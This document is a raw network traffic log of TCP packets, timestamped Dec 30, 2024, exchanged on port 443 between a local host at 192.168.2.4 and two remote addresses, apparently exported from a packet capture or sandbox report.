Dec 30, 2024 11:36:43.753022909 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.753034115 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.753082991 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.753175020 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.753364086 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.753376007 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.753586054 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.767348051 CET	49982	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.767358065 CET	443	49982	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.768520117 CET	49997	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.768552065 CET	443	49997	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.768604994 CET	49997	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.769340038 CET	49997	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.769355059 CET	443	49997	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.807988882 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.808053970 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.828310013 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.828325987 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.828849077 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:43.828859091 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:43.986378908 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.986574888 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:43.986604929 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.987029076 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:43.990906954 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.024210930 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.026313066 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.026619911 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.056624889 CET	49988	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.056652069 CET	443	49988	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.062963963 CET	49998	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.062985897 CET	443	49998	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.067483902 CET	49998	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.083067894 CET	49998	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.083087921 CET	443	49998	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.198404074 CET	49989	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.198432922 CET	443	49989	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.202397108 CET	49997	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.202446938 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.202483892 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.207189083 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.208050013 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.208107948 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.208223104 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.208292961 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.240258932 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.240300894 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.240619898 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.240641117 CET	49998	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.240858078 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.240878105 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.241019011 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.241029978 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.250714064 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.250761032 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.252065897 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.259766102 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.259783030 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.324912071 CET	49991	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.324953079 CET	443	49991	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.325341940 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.325382948 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.326224089 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.326543093 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.326555014 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.841973066 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.842088938 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.844098091 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.844110012 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.844357014 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.844417095 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.844783068 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.859992981 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.860088110 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.860459089 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.860479116 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.860649109 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.860656977 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.865035057 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.865168095 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.867913008 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.867970943 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.869944096 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.869957924 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.870217085 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.870263100 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.870646000 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:44.887335062 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.911335945 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:44.958489895 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.958621025 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.960552931 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.960563898 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.960807085 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:44.960855007 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:44.961441994 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.007324934 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.232012033 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.232109070 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.232134104 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.232146025 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.232167959 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.232187986 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.232361078 CET	50001	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.232372999 CET	443	50001	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.232969046 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.232989073 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.233093977 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.233278990 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.233289003 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.235146046 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.235224009 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235234976 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.235340118 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235439062 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235467911 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.235611916 CET	443	49999	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.235759020 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235759020 CET	49999	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235836029 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.235877991 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.236099005 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.236409903 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.236423016 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.263387918 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.263448000 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.263461113 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.263495922 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.263514042 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.263536930 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.263545036 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.263580084 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.263582945 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.263618946 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.264256001 CET	50000	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.264272928 CET	443	50000	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.264806032 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.264836073 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.264906883 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.265101910 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.265111923 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418525934 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418586969 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418603897 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.418623924 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418648005 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.418663979 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.418673038 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418709040 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.418709040 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.418776989 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.419310093 CET	50004	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.419333935 CET	443	50004	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.419888020 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.419936895 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.420042992 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.420339108 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.420350075 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.835527897 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.835618973 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.857155085 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.857171059 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.858948946 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.858962059 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.859785080 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.859848022 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.860150099 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.860158920 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.860302925 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:45.860308886 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:45.873014927 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.873069048 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.873418093 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.873429060 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:45.875309944 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:45.875334978 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.046493053 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.046575069 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.047048092 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.047054052 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.047214031 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.047219992 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.211285114 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.212162971 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.216531992 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.216737986 CET	50015	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.216757059 CET	443	50015	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.217526913 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.217562914 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.218282938 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.218549967 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.218564987 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.244620085 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.244676113 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.244689941 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.244801998 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.244973898 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.245007038 CET	443	50014	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.245049953 CET	50014	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.245624065 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.245656967 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.245829105 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.246007919 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.246017933 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.294939995 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.294991970 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.295042038 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.295075893 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.295094967 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.295300961 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.295892000 CET	50016	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.295912981 CET	443	50016	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.296370029 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.296408892 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.296463966 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.296660900 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.296675920 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473359108 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473434925 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473459959 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.473490000 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473503113 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.473530054 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.473536015 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473567009 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.473606110 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.482737064 CET	50017	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.482769966 CET	443	50017	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.484114885 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.484148979 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.484221935 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.484781027 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.484791040 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.817960024 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.818615913 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.818743944 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.818913937 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.821384907 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.821412086 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.822041035 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.822241068 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.822890997 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.843945026 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.844019890 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.844683886 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.844729900 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.849123955 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.849134922 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.849404097 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.849450111 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.852003098 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:46.867322922 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.899323940 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:46.924097061 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.924148083 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.924508095 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.924515963 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:46.924681902 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:46.924691916 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.087086916 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.087249994 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.087605953 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.087618113 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.087759018 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.087765932 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.194931030 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.195122004 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.195648909 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.195686102 CET	443	50022	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.195713997 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.195750952 CET	50022	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.195755959 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.195827961 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.197218895 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.197243929 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.212811947 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.213713884 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.213762999 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.213762999 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.215408087 CET	50023	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.215418100 CET	443	50023	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.215420961 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.215445995 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.215845108 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.215845108 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.215873003 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.338257074 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.338313103 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.338311911 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.338351011 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.338432074 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.338434935 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.338434935 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339076996 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339076996 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339534998 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339582920 CET	443	50037	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.339688063 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339879990 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.339891911 CET	443	50037	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.496643066 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.496690035 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.496709108 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.496735096 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.496778965 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.496805906 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.496808052 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.496910095 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.497498035 CET	50026	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.497513056 CET	443	50026	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.497982025 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.498006105 CET	443	50038	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.498214006 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.498399019 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.498406887 CET	443	50038	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.642955065 CET	50024	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.642991066 CET	443	50024	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.800015926 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.800081968 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.800477028 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.800487041 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.802397966 CET	50031	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.802405119 CET	443	50031	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.839463949 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.839582920 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.840046883 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.840055943 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.840286016 CET	50035	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:47.840291023 CET	443	50035	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:47.938339949 CET	443	50037	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.938397884 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.938834906 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.938846111 CET	443	50037	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:47.940984964 CET	50037	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:47.940989971 CET	443	50037	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.096769094 CET	443	50038	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.096827984 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.097270012 CET	50038	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:48.097289085 CET	443	50038	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:48.097507000 CET	50038	443	192.168.2.4	142.250.186.97
